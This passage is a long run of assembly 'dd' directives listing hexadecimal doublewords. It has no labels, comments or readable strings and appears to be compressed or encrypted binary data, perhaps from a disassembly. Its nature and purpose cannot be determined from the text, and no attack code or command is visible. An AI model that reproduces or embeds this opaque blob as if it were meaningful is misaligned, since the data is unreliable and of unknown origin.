85804EB9h dd 0A3600074h, 2DF4C948h, 0CB4D4249h, 70FB0000h, 50EB2B07h dd 0F040025Bh, 0DBCD3963h, 0FC31B4A0h, 0EC00ED10h, 0EBA2323Ch dd 4633FAh, 25D2C46Ch, 0BFE0B8D4h, 3215DE00h, 0B360A29Ch dd 0F02B00CFh, 0C8EB1037h, 0F979F1C4h, 8C002AB8h, 277AE551h dd 3879BB3Dh, 0DC81C9E1h, 1C76569Fh, 0A6998A4Bh, 0A80FCAAh dd 7B3F52B6h, 79087F82h, 0BCB70087h, 5EC20D79h, 3D18549Ah dd 1A786BEDh, 0FA2B082Ah, 9809B0FBh, 5A542009h, 0E9AC9EAAh dd 0C57EE4h, 0C0F219D9h, 1F52E50Ch, 46BB8100h, 2BAE20E3h dd 9885000Eh, 5AF76BA3h, 4D00FFD5h, 4B91BA9Ch, 1B9171Dh dd 0CDD90106h, 0E813329Fh, 3A1EE8F8h, 0D2806C40h, 6A842409h dd 0C1810029h, 0F105EFB9h, 0E9769E5Eh, 0E77B7E00h, 97DD67D0h dd 982A0F08h, 3EE0C08Dh, 7243D3F6h, 0EF298C00h, 3FEC374Dh dd 523D0030h, 0E3F4E5F0h, 0E2620FFh, 7E02BDD9h, 80B2CD24h dd 0FD05A79Ch, 89B80032h, 10E99BAh, 600B131h, 77190FE4h dd 0EDEA75Dh, 448A0B6Dh, 0C4023243h, 0FB741590h, 0EE8FB80Eh dd 0E7C2E30Eh, 701DA9E0h, 0F13820h, 394B2938h, 9FF23483h dd 2BF88F14h, 69E900FAh, 574EACA2h, 45473B84h, 0FE8613h dd 4052C2B0h, 96004CEFh, 37A5DF0h, 853FEAh, 0A92B0C48h dd 8AE3ADE6h, 44D78105h, 0AC0705BFh, 0BC708E78h, 109AF61h dd 0C2583B9h, 8003A769h, 8B09D20h, 39FE0ADh, 7B49DD75h dd 0A4A1952Ch, 0EC51DC5Fh, 86201C02h, 80C49AA1h, 0FB7FB0D2h dd 1490CDh, 202156AFh, 7A3C6E19h, 18BF5A30h, 6C6892h, 1FD0DF5Ch dd 0A141B4C0h, 9272383Fh, 0FA1E9DF6h, 0B1001E2Ch, 2CF135DBh dd 169072E2h, 384D93h, 6F3FBF04h, 5D7E3764h, 808DFD3Eh dd 3421D7F8h, 3D01ACAEh, 0C280519Ch, 0AF1FE595h, 8000144Ah dd 0BD456596h, 0EA0B985Eh, 1DC0087h, 3FCEC8AEh, 5B007563h dd 0E047C629h, 2AA1EFDh, 6C4BA0FCh, 3C4038ABh, 9B00A3F7h dd 993F6A4h, 0D8FD84h, 14C0C135h, 0CBBE65F2h, 4B81EE07h dd 7600E052h, 0B93926Ah, 72789BF3h, 41008A0h, 3900999Ah dd 0FB0E19C6h, 7EFAAA8Fh, 0D7A60013h, 0A84B7B3Ch, 0E80764BEh dd 0C20F2808h, 0A6A33050h, 51F4023Ah, 0E4702389h, 0C463FFC0h dd 7B4E4500h, 0E7AD2471h, 805100D1h, 338E96BDh, 0B01B12BEh dd 0E181545Eh, 6DDC651Ah, 623A33FDh, 0B4A1F508h, 643931AFh dd 3C07685Ch, 747CE8DDh, 0A3897AF3h, 0BBC8A0F4h, 1468BA23h dd 2CAF3231h, 33C0779h, 40E4BE2Dh, 529EFD0Ch, 0B1654D00h dd 0F7905F27h, 9C943BA5h, 0D4A7BF07h, 0F9BBD077h, 0FB2E89E9h dd 7507942Dh, 384724BDh, 0A4D0E005h, 1E9C23B2h, 1EE13A98h dd 80B147Dh, 0FC9A6100h, 0EE74D4ACh, 0BBB67A0Ah, 1588501Dh dd 64C4055h, 0D30CEC2Dh, 68C8AC03h, 0DF833AC2h, 0E054CB0Fh dd 214922A0h, 5A018D2Dh, 87E8673Fh, 1C201118h, 6BF21797h dd 31A0019Fh, 0FF9D0970h, 0E964190h, 0A8671C00h, 51BE5776h dd 0B7D7E90h, 6FF1EF66h, 68624E8Eh, 2DE04F38h, 0A1E07C09h dd 2D1F6603h, 0D8882A22h, 5EA459Ch, 0C8FCE332h, 0F065C781h dd 0A4A91C4Ch, 6DAD3400h, 2F251043h, 983000F7h, 0B49718E0h dd 5C009E01h, 59BADB39h, 2AA92F9Bh, 0A0E1E3h, 0A02847D1h dd 5475A6B9h, 0B09B266h, 3FF10E21h, 6803B28h, 0B68C29E9h dd 80133327h, 72D5CA5h, 0A659C8B9h, 3F283EC1h, 85718EF8h dd 28F69E83h, 0D2C3D0AAh, 1BA20373h, 5219044Fh, 0E4205000h dd 6611DBA1h, 0F0574835h, 0EF3B0971h, 4420E717h, 43235679h dd 44D6201h, 3FD5A63h, 218072D1h, 19234993h, 4A7C61B3h dd 0B82C9600h, 1F0692C2h, 0E31535E4h, 5AC8D060h, 6F1FC187h dd 0D486B5E2h, 1820832Dh, 0B93926DCh, 40A0E5A8h, 1213F033h dd 3200655Eh, 7BBBD30Fh, 0C2370A1h, 491D1738h, 6D133428h dd 2B00C659h, 0ACB9D6FCh, 274E0014h, 9F6858E1h, 600C3805h dd 48301065h, 0B780025h, 34663DC4h, 0AA0172BFh, 0C92C9E15h dd 0DBE4064Bh dd 4DE70071h, 3BC774FCh, 0A0012D76h, 0F3454EE5h, 0F7218104h dd 75CCCCh, 0D033F7AFh, 0BDE1C43Dh, 6DDDD900h, 0CC1C5D88h dd 9B910240h, 744FE283h, 760648C0h, 0F23AE8F9h, 0F1B5C3A1h dd 0CAFF85Bh, 0ACC53Eh, 0A6BB6C7Ch, 7C509A4Ch, 85FF03B0h dd 0C5A4A725h, 0EECC2801h, 0D6590AC6h, 21C2FE4h, 0E38EB6DEh dd 2EE08BE4h, 8C009D0Eh, 0C09197BDh, 70D7FAF3h, 5740042h dd 26347CF6h, 0BB006BFFh, 11F1A110h, 0E55DCFh, 0C661D6F7h dd 0AA79B3D8h, 6C72CCF4h, 706E3800h, 8C5360E3h, 499C039Bh dd 8DF7E9BFh, 0B7695F8h, 12897502h, 807D8CB4h, 0C51B0C8Ch dd 9450E9FDh, 0E13BE4h, 0BB66B09Eh, 6080C230h, 0D48E2A50h dd 0EE7FBC0Bh, 0F3B58072h, 9342C3h, 0E7E473F4h, 6D16A90Ah dd 95B3CC00h, 0B2D64AF5h, 39C50057h, 20C3D1CBh, 31003DAAh dd 3A0C866Ah, 6334B389h, 0C68A0801h, 0A9962000h, 824B376Ah dd 0F08E1ECFh, 95CAC01Dh, 5F2DF8A6h, 0B2BD8D00h, 2E3E4FEEh dd 859100F3h, 2AE195CFh, 2303AD1Dh, 0CE60F734h, 2E180F7Dh dd 6DA0264Eh, 0C0F5DA20h, 630052DEh, 0E656445h, 0D18E0CDBh dd 0A008DC48h, 6D0321C0h, 46B64h, 0E075DADEh, 0A05BAC76h dd 0D11D80CDh, 803AE091h, 0CDB6AE0h, 70448CD2h, 6AD8077Fh dd 0E0829BDCh, 23ACCAD9h, 0C3ABEA01h, 26977C0Bh, 0D3040F1h dd 69AE60D5h, 9187FE8Ah, 61142E01h, 628CA529h, 219622D1h dd 0AA7604E3h, 182980ECh, 0CD28EB96h, 7D0A808Eh, 2C48992Bh dd 780D511h, 9C2E9288h, 1E1B208Ch, 884F7800h, 0A2A93B18h dd 44980014h, 419F566Dh, 321DC586h, 26CFDAF7h, 5D172022h dd 2028E7Dh, 7BF4CE66h, 8E4089BFh, 0B7002037h, 0FFD7CD32h dd 3C8644E5h, 0EA004EF9h, 84A836Ah, 5F1D8B09h, 0FBC052D2h dd 0DAD59015h, 0F74500A7h, 0F0EFFD11h, 1F009F38h, 0DC021392h dd 0B0F83142h, 9D790E18h, 16E0F1C4h, 95F30522h, 7CECEAB0h dd 8DD7B500h, 0AA57FC68h, 0E44901B4h, 0B638E8E3h, 0B21EECA2h dd 3D6DF500h, 0B785D375h, 80A03B3Bh, 710A7387h, 50FEE760h dd 0C487A464h, 3B210807h, 70409899h, 343E2B6h, 3EEF4D94h dd 9C9077A8h, 4F3D36E1h, 71270793h, 0E240EE44h, 18870510h dd 11634374h, 0EFF82818h, 9F18EA78h, 9E1865BCh, 0D86A007Dh dd 54E7340Ch, 0B080702Ah, 0D1D0E92h, 4F606510h, 0BB4AA526h dd 516B6930h, 0C2C1E9h, 5239EE37h, 535A1170h, 12780CF6h dd 70068A31h, 3180685Bh, 4B0EAB55h, 9A0EBE81h, 0C0831987h dd 6232B478h, 7F3B0CADh, 2199C78Fh, 381E7137h, 0A5E16F83h dd 0D9A4C00h, 3C098CC9h, 0BD00DD9Fh, 5A100EFEh, 30D0E9FAh dd 663C1184h, 8D397C31h, 2001FF73h, 0FD790504h, 56D4814Fh dd 0ACEA189Bh, 0D18049EFh, 0CE18F9C3h, 88198B9Ah, 3E5321D4h dd 840A1173h, 1154CD59h, 8505C1E0h, 2180C0C5h, 0B55EE5DEh dd 0A7316086h, 12C7A10Fh, 604236D0h, 0FA72B111h, 9000F7C5h dd 0F954C428h, 509326A6h, 3371E03Ah, 0C1D16956h, 0E15B703Ch dd 0E5578C11h, 7C2894F4h, 625148Fh, 0C72254B8h, 3B69C463h dd 8039155Bh, 5C0088E0h, 24AD5369h, 1700BDC7h, 0CF7BAF95h dd 0ADDA5A6h, 0B38D4AAEh, 596F1BA8h, 142A26C2h, 0DF498918h dd 9F5701C8h, 0EA59CFDh, 76E4D8BFh, 287C6E0Fh, 8BE70160h dd 804921ECh, 1E00A4C3h, 0F91B80ACh, 0D02380Ch, 0EBBFA0E8h dd 0FF5A5300h, 0E93B2D06h, 1079E49Ch, 780CFA5Fh, 5B1C212h dd 72213803h, 73903B4h, 605A618Fh, 0D68DB1F0h, 0ACB719C0h dd 5DD3470h, 9C433DF5h, 3788630Fh, 8E3E23A8h, 0BAFC5A00h dd 0A9CCC638h, 9FE10307h, 0BECDD486h, 22547877h, 0CB0B1784h dd 0D87EC5h, 47B172D5h, 19FEE267h, 0E802FB9Fh, 81BDD9D2h dd 0D9C9E31h, 0C824AC86h, 7A0388D5h, 2A0B6870h, 8140C4EBh dd 0C8BCB38Dh, 41F7191h, 0BE5D229Eh, 9052C183h, 98FED23h dd 82B3EC4Dh, 0A85A4403h, 4A27D105h, 0FC4FF25Ch, 5B2B0020h dd 0DD5A1984h, 116B4D20h, 6F102459h, 3F5FB10Dh, 3B314118h dd 0C04B219Fh, 0FCB36679h, 2175BCF3h, 0DC53A400h, 155AF45h dd 577705C9h, 23AD4225h, 610041F4h, 2886D12Ch, 18FE39E8h dd 70BAD0B9h, 762E91C2h, 990788FCh, 9E0337Fh, 0A4C4C885h dd 3F711A4Ch, 0B487C9F8h, 30A24133h, 1E6998F0h, 0FFA3B1h dd 32A19392h, 0EF402F5Ah, 0FA97E80Eh, 0A36FC1B2h, 24223DC3h dd 3CAAF404h, 2100C5B1h, 22E321B0h, 61841440h, 34B02444h dd 895A5B8Ch, 1E70EDh, 2CA5A826h, 0EB7503E7h, 0A1F3B0Dh dd 1C249991h, 8F940F27h, 5420C2A6h, 79622977h, 99C5193Ah dd 0F1591EA0h, 71D81F10h, 9AE1250Fh, 0A176809Bh, 99919CF7h dd 18450ECCh, 208BD163h, 0EA361015h, 0AEC00180h, 16D34C42h dd 6F99024h, 0F1F85F83h, 528E97Ch, 62001837h, 0F69ABA76h dd 0F4C60CE7h, 82E09A8Fh, 78C9084h, 27D4D299h, 3EB2E090h dd 3FE4E37Ch, 30DBB70Ah, 3B88D4B1h, 9B5A895Fh, 857CC99h dd 67D30705h, 434C19C1h, 71101826h, 0A8858C72h, 0C0BC5FCAh dd 35547D77h, 2413D797h, 0F472EAE7h, 9E5B0370h, 0B81A1100h dd 5AA9FA85h, 42DB0034h, 0D5538C0Fh, 3F07EC79h, 2274DAD6h dd 8F64F46Ah, 68C4EB28h, 0F0C81143h, 886643Dh, 0FE28C880h dd 6C714D03h, 0F1BE6808h, 62A852h, 3DDADF01h, 65DBD58Ch dd 416EE518h, 10C7A770h, 1CE8A277h, 0C19B7D14h, 19342C55h dd 20D4550Fh, 0FC864C20h, 75C8DD00h, 0DF7E802h, 0D8D41DE4h dd 0C7E3859Bh, 408C44B9h, 26545155h, 5F01EE16h, 0D12A59AAh dd 5A8814D3h, 0E89AD015h, 30034C6Ch, 0FF0EA40Bh, 7CBCB0C1h dd 709001E5h, 9F0A3471h, 0BD20C03Ah, 1F06EB02h, 4A6E8A3Ch dd 9FC5C01Ch, 0DF6B0639h, 0E9196A8Ch, 99595B30h, 383B9E85h dd 0E700B41Ch, 2F88DFA4h, 49F4D135h, 8B4E7E3Ch, 0B81822EFh dd 0EE7F5A24h, 3580334h, 0B9E9B840h, 26FABB8h, 92CFD115h dd 0EC43B4h, 18FEC607h, 533117B0h, 0F3002809h, 0B671DAB1h dd 0E50F93F7h, 20616E95h, 82E806BFh, 0AB08067h, 0A535FE00h dd 629B77B9h, 46372A18h, 76E294h, 2BB2BB4Ch, 0EBECDD53h dd 100A69D6h, 3740F87Ah, 1B5BBF64h, 81771FF0h, 8C88DE4h dd 0B40281BCh, 0D10F8D2Fh, 9C156097h, 73A00024h, 0B6B00A76h dd 38241F47h, 0DD001990h, 0FF18D38Bh, 4C914C41h, 51A11A9Dh dd 5200F8CCh, 0C36A9B25h, 25694A85h, 0C100EA1h, 0DC915C6Fh dd 39072200h, 9A12BAh, 72D4F84Bh, 0B573D3ACh, 0F405ACA1h dd 0A4061ED2h, 5E5271D6h, 84C4AAC9h, 30537AE4h, 35F34FF4h dd 910B7C70h, 10A8696Bh, 0E7A81A0h, 0A9CECDD2h, 0C58B7380h dd 0F108A269h, 2C2FA86Eh, 2C0E40B0h, 71C68A3Ah, 696B80h dd 4EC707EFh, 0EBA40CBDh, 0B2228700h, 0A21877D2h, 0AAC10972h dd 64802561h, 0EFED3C9Ah, 0A2E8125Ch, 52D2116Eh, 946460A4h dd 532C200h, 9A4ABA8h, 91421508h, 17029864h, 0E690D261h dd 6EE5B780h, 549A29DCh, 61C0CEF2h, 0AA772A97h, 3D1004Bh dd 0F3DF4FD8h, 0D2013473h, 0F06DB2E8h, 182426B5h, 8F976C9h dd 665571E4h, 90081880h, 0CD23F0h, 36E5DB28h, 1D346578h dd 7911B8B1h, 0FDC46C00h, 7B7A290Ah, 3D0B463Bh, 64EF827Dh dd 0A6161922h, 0E10DD0h, 5BE84605h, 0A909EC1Bh, 52F98604h dd 80CCB5C7h, 8FFE0705h, 0D50B926Ah, 0A8840603h, 9600E1D3h dd 62F4F735h, 18684DF1h dd 99E5B1A1h, 1C949084h, 0BDFA58h, 1E242ABCh, 60070E03h dd 3F80E117h, 2680441Fh, 86EBDA3Bh, 581252CAh, 84437300h dd 0E260F41Bh, 0AE3FC502h, 29BADDFh, 68697286h, 0F4911078h dd 0C731075Ch, 805701C1h, 63C20426h, 0CE7D4816h, 0B7F45829h dd 582976A0h, 86C204B1h, 70C64A74h, 8E8F321h, 0BCAA633Eh dd 11844h, 3242B1E6h, 0FD698015h, 0BA6A3506h, 63202336h dd 0F04A60B8h, 30B4A5A4h, 6D89BD80h, 0A8B9CC4h, 0C931713Ah dd 3B159184h, 64040C54h, 49E31837h, 0C808CE2h, 5888BEACh dd 42ABCB00h, 0E2259F82h, 1112019Ch, 79BA37C0h, 3FD47349h dd 2899CC1Ah, 0BC24905Ah, 4F4048E9h, 1C2AEA8h, 96C4E5E0h dd 0F26C3ADBh, 889F90A4h, 8D03FB04h, 184BE3F6h, 71AFD0D4h dd 1A38B19Ah, 6C84694Ch, 9D125FF8h, 7C1090D6h, 0C0B13Dh dd 864D03C2h, 0B8A21E4Ah, 7728FC8Dh, 0D9560030h, 8EB8A9Bh dd 54A825E0h, 7280CC91h, 0D24F009Ch, 7A8E9E5Eh, 131B8111h dd 7D95E821h, 28F02577h, 0F4B09C8Bh, 5227BD2Eh, 0EECFC7Dh dd 90C0FE04h, 97AC9894h, 7811B426h, 0C3EAE9C4h, 23B162DAh dd 69E993D5h, 3D88CC2Ch, 0F20156B2h, 6FF8CB2Ch, 0D60020F9h dd 9FDB88h, 4166AFF7h, 0DC59C7F5h, 2815612Eh, 7E21B08h dd 0EB9930FDh, 77801CA2h, 0E8690048h, 0F83BCC00h, 1672A764h dd 2E02070Fh, 7BD67632h, 8DD825h, 6F348818h, 92035742h dd 8CF67E3Ah, 5C9AB80Ah, 60F20BB9h, 8800B1CDh, 9EE4BB31h dd 89BFA502h, 5BE7268Ah, 85B00768h, 5F70F01Eh, 36FAFBC3h dd 86CDAF0Ah, 6A13ECEFh, 644328D0h, 3EA70209h, 0FE322370h dd 0A0901F62h, 0DB0372BEh, 73891CCDh, 1226007Dh, 65DA319Dh dd 1492E477h, 0C0EBE00Bh, 0B9AC90A1h, 383F7E5Bh, 0C1A677B8h dd 21C28844h, 28E909BAh, 0A0A04C0Dh, 194408B4h, 0D063F6F3h dd 0EDFC10D4h, 786800F7h, 0BA5B9DD9h, 5D02A6DBh, 24B106B3h dd 518AC21Fh, 407B9C10h, 7C0C5885h, 4901284Ah, 2C87DE61h dd 7988E2CAh, 0F2001147h, 0D7A4FF1h, 427300E1h, 2375541h dd 0AE5C53C9h, 34199314h, 8021D8E8h, 9D105433h, 0CED82E9h dd 1F8C9861h, 71B960DAh, 72255737h, 0C78074B1h, 691A3332h dd 2527EC59h, 8003E716h, 0B3C43DB8h, 9982004Ch, 3694C5B9h dd 87030392h, 2B93052Eh, 5FB05000h, 4E1C07Ch, 990E6EFFh dd 20444E71h, 5B49D359h, 2EF8544Bh, 0B5021E1Ah, 65667C2Bh dd 0E47B60A0h, 9D313C13h, 9792C8E0h, 0E0A4A814h, 6CCFE13h dd 26B1AA00h, 1775534h, 7843D8C4h, 0FC6E5470h, 0CD568E85h dd 0FA370038h, 71D2E09Ah, 267C2Fh, 173D83Bh, 650B626Ah dd 21002891h, 8A965F67h, 48BE4A83h, 78806B48h, 0DE364544h dd 30710207h, 3B437A68h, 210A4C5Bh, 8249B8E3h, 116B5720h dd 0C051EE3Fh, 106A8489h, 0E6FB0FCh, 92363DCh, 0D82FA5C1h dd 8664248Ah, 6A608CB4h, 13E092DAh, 5407AD30h, 5322B0C8h dd 46070CE4h, 0E9AA436Eh, 7C130F40h, 8A790F49h, 9A64C21Bh dd 0DF9C8839h, 91C90300h, 5778F1F0h, 0F67B2690h, 404644B8h dd 82E63EC9h, 0FC9D0FBAh, 8377724h, 4A941098h, 0B0CA2E68h dd 742B964h, 804C12F0h, 77CC6B0Fh, 6ADE8072h, 28912316h dd 44B8229Ch, 21033954h, 68B3E3F0h, 0D1C38875h, 1CE1256Ch dd 0A2E9B805h, 1FC106C8h, 112278h, 3B598FFDh, 0EA564370h dd 0C71751C1h, 0EC54BB8Ah, 0A2DA08E0h, 95CC4FCh, 27FA4207h dd 984CC009h, 8A4C6F44h, 1E21B360h, 34943200h, 4A6ADF99h dd 30E25A1Ch, 0B216A968h, 47926306h, 44E19A08h, 0C20287F2h dd 0B43E1477h, 8EA0A2B6h, 0BFA12CBCh, 6B390304h, 70816D63h dd 0ED08D561h, 1368B88h, 0F573139Ah, 3965C9F7h, 48808BCCh dd 4BA5A94h, 0E4CDC25h, 321C9028h, 0A750FF0Ah, 0B7FAEB2Ch dd 3B511E00h, 62CD3C41h, 0DF4316ADh, 0D8040405h, 2800B672h dd 842D30E9h, 71303061h, 89676444h, 0A4B205h, 83B1FFCAh dd 294AF5Ah, 9871FF3h, 38C0D161h, 0E123C12h, 1C563275h dd 0F7084800h, 5403C639h, 13EBE009h, 0D05F29D5h, 91AF7D04h dd 96DA5600h, 0D26C0B06h, 0D45C1D5Dh, 637A8134h, 0FA8C61D0h dd 5C93F871h, 0AEF51097h, 3E3A6380h, 0DBAA3E2Eh, 752F7D02h dd 9D625A50h, 405FE024h, 0FE3999C0h, 74234C48h, 0C8AE0274h dd 0E141C70Dh, 3C0648F1h, 0C9C940h, 6F8D94EFh, 143BE0CAh dd 88A8BF5Ch, 7E97CBh, 1FFCE7CAh, 9700E9B0h, 24D8563h dd 16249BC7h, 4100B66h, 8AA75AFCh, 289011C0h, 6B22F44Ch dd 0C255DB1Fh, 97210EC1h, 14E8A08Fh, 447C5C4Eh, 7A6AD300h dd 0C5FD92F7h, 887CC74Ch, 971B8153h, 0CB942B50h, 0EFB8DD9Bh dd 0D60388BFh, 7F4D8957h, 5681E42h, 0C0B9920Fh, 0FDCF5298h dd 19543167h, 7CCCD9h, 0F6854912h, 0B8E7F9B6h, 45661D00h dd 575D587h, 0D17404C7h, 0B34393DDh, 12FF2D88h, 0A8F4D9DCh dd 3E70563h, 5ED5F143h, 800BCD0h, 0C6716A90h, 0EB02ED4Eh dd 5FB1C7ADh, 7E2C5AF3h, 0B0F1C0C2h, 94CCADE5h, 90A9F804h dd 7492425Eh, 8CCE7Ch, 1447F41h, 8B9BB404h, 693E2D1Fh dd 9188BCE4h, 0A25A8B5Bh, 0CED8844h, 416A5A85h, 89C8E40h dd 899C46C6h, 35090567h, 1217C883h, 0CCEAB8A1h, 0BB00AA34h dd 0A3007C7h, 77E61316h, 0DFD616B3h, 6078D28Dh, 6201A052h dd 35FDE6EDh, 0F8200378h, 0DCB5881Fh, 7C443700h, 573FF826h dd 0BE3B05F4h, 0D1ECA419h, 8024A044h, 7D8CEB49h, 3F291A11h dd 3280865Bh, 0B0A2B18Ah, 0CD074A6Eh, 2B5EBCD4h, 77FF01B1h dd 847B247Dh, 0D50158B0h, 0DF1CE5E0h, 7054094Bh, 0C01FB488h dd 29FEF71h, 8F001C78h, 43543FB0h, 1C5E2373h, 44E9410Ah dd 0A431ABEBh, 0F501B4ECh, 0B696FC64h, 2C411E42h, 682269C2h dd 5D8FBB00h, 0AF6124F1h, 46561400h, 6C7F30C0h, 0A6963986h dd 852F03FDh, 5D9141FEh, 6F5B3900h, 0F53BBB03h, 3A2675B5h dd 0B2334B54h, 0F4E3B710h, 8BD1935h, 8ACCA107h, 68164310h dd 831C0DFh, 0BB271131h, 0B595F50Ah, 840328AFh, 0E1387D04h dd 20BFD6FAh, 0FD364881h, 8445684Dh, 4927B069h, 108D5500h dd 90032AFEh, 92F5C465h, 0CAC2E028h, 0B741C5DDh, 0BC4C0835h dd 11CC8581h, 0EAE89FFCh, 39F46083h, 0F2B6555h, 7526210Bh dd 46FC833Bh, 7148395Bh, 0C5C1A960h, 0D57E7A7Dh, 73A66A06h dd 0A58B44Eh, 48500169h, 0C02F1074h, 8ECCF9A8h, 13AE08A7h dd 161847A2h, 6C94C220h, 0FA09B1DAh, 1611EC60h, 60D395h dd 49FA4D7h, 5998B82Fh, 0C040836Fh, 9C0D69A7h, 2E2B0F7Ch dd 22907A21h, 0A78700E1h, 7974C03Ch, 0D97D80A5h, 4E019871h dd 14917349h, 0C0946769h, 0CE30949Fh, 306B2440h, 0A008F1C2h dd 18A08CADh, 83BD4560h, 6C7469D9h, 3A11007Bh, 5F0307CFh dd 0A403B0FFh, 9FD971B1h, 6FF7B0B7h, 0ADFD2A6Dh, 445B7790h dd 2013912h, 36730598h, 0DDC9F2FEh, 24038570h, 0AAA3B74h dd 86E05C06h, 704CCBA2h, 0EA75EF00h, 0C44A09E9h, 0EECD07E4h dd 3A28F99Eh, 0B62102E8h, 0E0A2E326h, 9F03F60Eh, 1486003Bh dd 8AAC082Ch, 0EC006899h, 46B5F8EDh, 0A4312BB8h, 0BF230D0h dd 15929039h, 0E34EF800h, 0AD3EAE4Ch, 0A1FD0272h, 0BD589F85h dd 443090A4h, 54900DA2h, 4D3DD1Ch, 0CBA48EFDh, 764C97ABh dd 5538C9BAh, 580675CCh, 0BFD4AF07h, 1EDC0019h, 52A6EE42h dd 1400404Ah, 0FD06D2EBh dd 32D6943Ch, 21A933BAh, 4490A488h, 0A0AF40C5h, 0B72EB2h dd 80411F40h, 12797F56h, 6CC7AC14h, 37347EF8h, 0E43031DDh dd 16E200Ah, 0B47789C3h, 0E0EA1D23h, 0DF007186h, 0B2CD9716h dd 91F355ABh, 0A4420034h, 6E1C6436h, 0DCDBE907h, 0BA50E62Fh dd 0B446D2h, 2DECDD83h, 0A0C9A4F8h, 4F798F12h, 2A750440h dd 1A932044h, 18981418h, 371B6410h, 9B27A9F4h, 505421h dd 8D49FD59h, 0C854F0A7h, 0C54D0DCh, 621F92B8h, 204F9E55h dd 5DF3C385h, 1A900E9h, 0E53D063Ah, 890035E0h, 0D5203CB7h dd 0DEAA747h, 544A2167h, 602FE281h, 790B630h, 322E1E17h dd 0EE1DBA71h, 314A9251h, 0D2156CE4h, 0E4C01305h, 0DF82403h dd 28B4EEEFh, 5820FE20h, 0A06FE2D6h, 1F13D88Fh, 9D91A46h dd 442280B4h, 0A86E8CB7h, 0A2DA64A8h, 1848F330h, 132F50DDh dd 440F5458h, 4CD63524h, 3C911846h, 0EC4857FDh, 91DB2184h dd 14B76DE4h, 0C471E091h, 0CDD61180h, 3708DB31h, 929BBE00h dd 4C1C96CEh, 2AE2041Bh, 8C8474A8h, 762608B0h, 0AA4E10AEh dd 46402C38h, 2857456h, 89755F2Fh, 0DC605B79h, 0B4A44D69h dd 46D1F260h, 1321C540h, 48D72443h, 3980D364h, 8F0EE7F4h dd 0A3C9831h, 1D6CF952h, 8DA580A8h, 0EACF8503h, 46C81F00h dd 54201E38h, 0A2F131Ah, 0A08C593Ah, 8D0811BBh, 0FA247822h dd 0C0BE4E10h, 0FC09853Ch, 4A199418h, 0A6A89D5Eh, 99E420BEh dd 490540E4h, 75E1EAh, 0D53DDC56h, 6904E5F4h, 3FDB95Ch dd 22553B95h, 5CD5A4B8h, 0A82E1460h, 13A002B7h, 9207E441h dd 0EB2FE4A2h, 337123h, 0A83EB3B1h, 9ECC7EFBh, 0F484AC55h dd 8D2461F8h, 104A1428h, 0E160F260h, 4FF31B1h, 25222110h dd 39D80854h, 234C5602h, 0CCBC1B74h, 6E821E1Ch, 904D0048h dd 0E03DC3F4h, 0E7DE600h, 0A96FBB2Ah, 10173174h, 64B62850h dd 142692F8h, 0E68A7CD4h, 7F00B96Bh, 0B1800E0Bh, 75843E29h dd 1DF9BF00h, 0B89A427Eh, 6905880Fh, 0BD348677h, 5F2D0021h dd 0D49D2FB9h, 21008635h, 0FFDC53CDh, 1A5CC9Fh, 0E7BFB57Ch dd 0D4F97588h, 0B81F157Fh, 2503F112h, 7CA90557h, 2A971848h dd 374628D1h, 0AB618A60h, 7F253B9Eh, 5BC024Eh, 0C11BD62h dd 0C3CF62E0h, 446DA20Fh, 9CCAC0D2h, 0C374E73Fh, 9A3BEE38h dd 0FD755806h, 7508973h, 21BDEFC2h, 0DFCA6134h, 84C8DB0Ch dd 9D067FBBh, 0A138BF6Bh, 23880091h, 0DDC256E4h, 0B93E751Bh dd 5F1450F8h, 0D4304F51h, 82003C80h, 3A26337h, 0E4C13255h dd 4D6C012Bh, 0EE0C645Dh, 49F6F057h, 3C05BC72h, 0DC352936h dd 834B8C60h, 46CA0620h, 69147939h, 34A5210Ah, 0C7818882h dd 3E2F9A13h, 0AE38218Ch, 912E4BB1h, 0E1007424h, 9BA3CE56h dd 0B8E503B1h, 8D107282h, 70152CFBh, 0B0B2FDh, 0D3F3E136h dd 50592DE5h, 44239CE0h, 172A9B4Ch, 3830A8E6h, 8056984h dd 14A003Dh, 0BB8BC83Ch, 3000799Bh, 0F7B943DEh, 0A86BD23Ah dd 6AEBB8h, 8F604DAFh, 0AC43B352h, 0AD04500Fh, 0ABF920CFh dd 80EF8DD5h, 9D8EDA9h, 3825F68h, 71518183h, 3788DF55h dd 904DDF8h, 5E18E8D5h, 3884483h, 11C846A8h, 406C55A8h dd 3125C87Eh, 3421BC3Ch, 35C980D0h, 531172BBh, 0D95F02DFh dd 37432E33h, 0DB006844h, 9DD1150Fh, 6C1E46h, 0CDA7A5CAh dd 0ADCFD345h, 0DEE2BB07h, 0D0DAB7BDh, 4AA43681h, 7F009E5Ch dd 8CFB52F5h, 79EC34A1h, 0A93B00C8h, 43D27001h, 310EC1A2h dd 0AE51B830h, 2C0C92AFh, 2A84B0A7h, 18A06DEEh, 5987F462h dd 0CCA8973Eh, 4700D9B5h, 7E582D93h, 6216CEA3h, 8405318Fh dd 6107211h, 0AE03E25Fh, 0F29EB992h, 6751F06Dh, 0AFECA1E7h dd 0C324B510h, 160029EEh, 66173980h, 30D24BA2h, 62D17CB9h dd 31C0BB6Dh, 3CC94915h, 549173FEh, 0C250A088h, 0B931DF28h dd 80B67D22h, 88699C92h, 22E1C65h, 1BC004B1h, 1807C21Dh dd 91ED8449h, 5F0073B9h, 0C5C4DEC8h, 170AA948h, 0FC57641Dh dd 0AA6FFD62h, 7400FF94h, 0C2DFBA12h, 0EB1707C0h, 0FBD6DB9Eh dd 0F757F881h, 8491867Ch, 2A39761Bh, 1D0DF34h, 0ADE3B0A6h dd 0C831C2DCh, 5C76281Bh, 94339928h, 7EC55F05h, 0FC43CDBCh dd 9D41E8h, 32B70CA9h, 77D39430h, 69C42EF0h, 624A7A6Ah dd 203E9340h, 6393C11Ch, 56BC8A00h, 32A49B02h, 124F00D3h dd 0B1B93316h, 28125317h, 0D84094CFh, 571085E4h, 513F05C3h dd 6088ECF7h, 0B02AE484h, 7300D1ECh, 1A9F6085h, 0C20CC12h dd 0B8295CA3h, 0D4889680h, 0E6A40069h, 566C77CEh, 2006090h dd 0FE24E47Ch, 91399D55h, 580209Ch, 15802521h, 9BD84546h dd 0EE1488D5h, 59E72F30h, 58DFF9h, 9DE2405h, 0CFE88946h dd 17019891h, 0F750BA68h, 0E8515EE9h, 6981D534h, 1A356BEBh dd 0ACFFC404h, 0F6DE610Ch, 0A03B719Ch, 6C29EE48h, 689071EAh dd 11914F30h, 49B89Ch, 0C64C8781h, 3ECBB663h, 0CEE4201Eh dd 4AD4EF85h, 0DC8A9840h, 4252Bh, 4740FF9Bh, 0ED6FEE3Ah dd 0F2F4ACE4h, 